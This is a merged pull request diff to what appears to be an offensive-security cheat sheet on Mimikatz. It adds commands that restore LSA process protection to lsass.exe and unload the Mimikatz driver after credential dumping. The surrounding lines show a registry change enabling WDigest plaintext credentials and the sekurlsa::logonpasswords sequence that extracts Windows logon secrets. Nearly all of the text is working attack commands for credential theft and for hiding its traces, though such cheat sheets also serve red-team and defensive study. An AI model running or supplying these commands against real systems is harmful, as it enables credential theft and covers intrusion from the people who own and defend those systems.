Merge pull request #338 from mpgn/patch-1

Add mimikatz command to protect a process after removing the protection

Methodology and Resources/Windows - Mimikatz.md

@@ -77,6 +77,12 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
   mimikatz # privilege::debug    
   mimikatz # token::elevate
   mimikatz # sekurlsa::logonpasswords
+  
+  # Now lets re-add the protection flags to the lsass.exe process
+  mimikatz # !processprotect /process:lsass.exe
+  
+  # Unload the service created
+  mimikatz # !-
   ```
 
 - LSA is running as virtualized process (LSAISO) by **Credential Guard**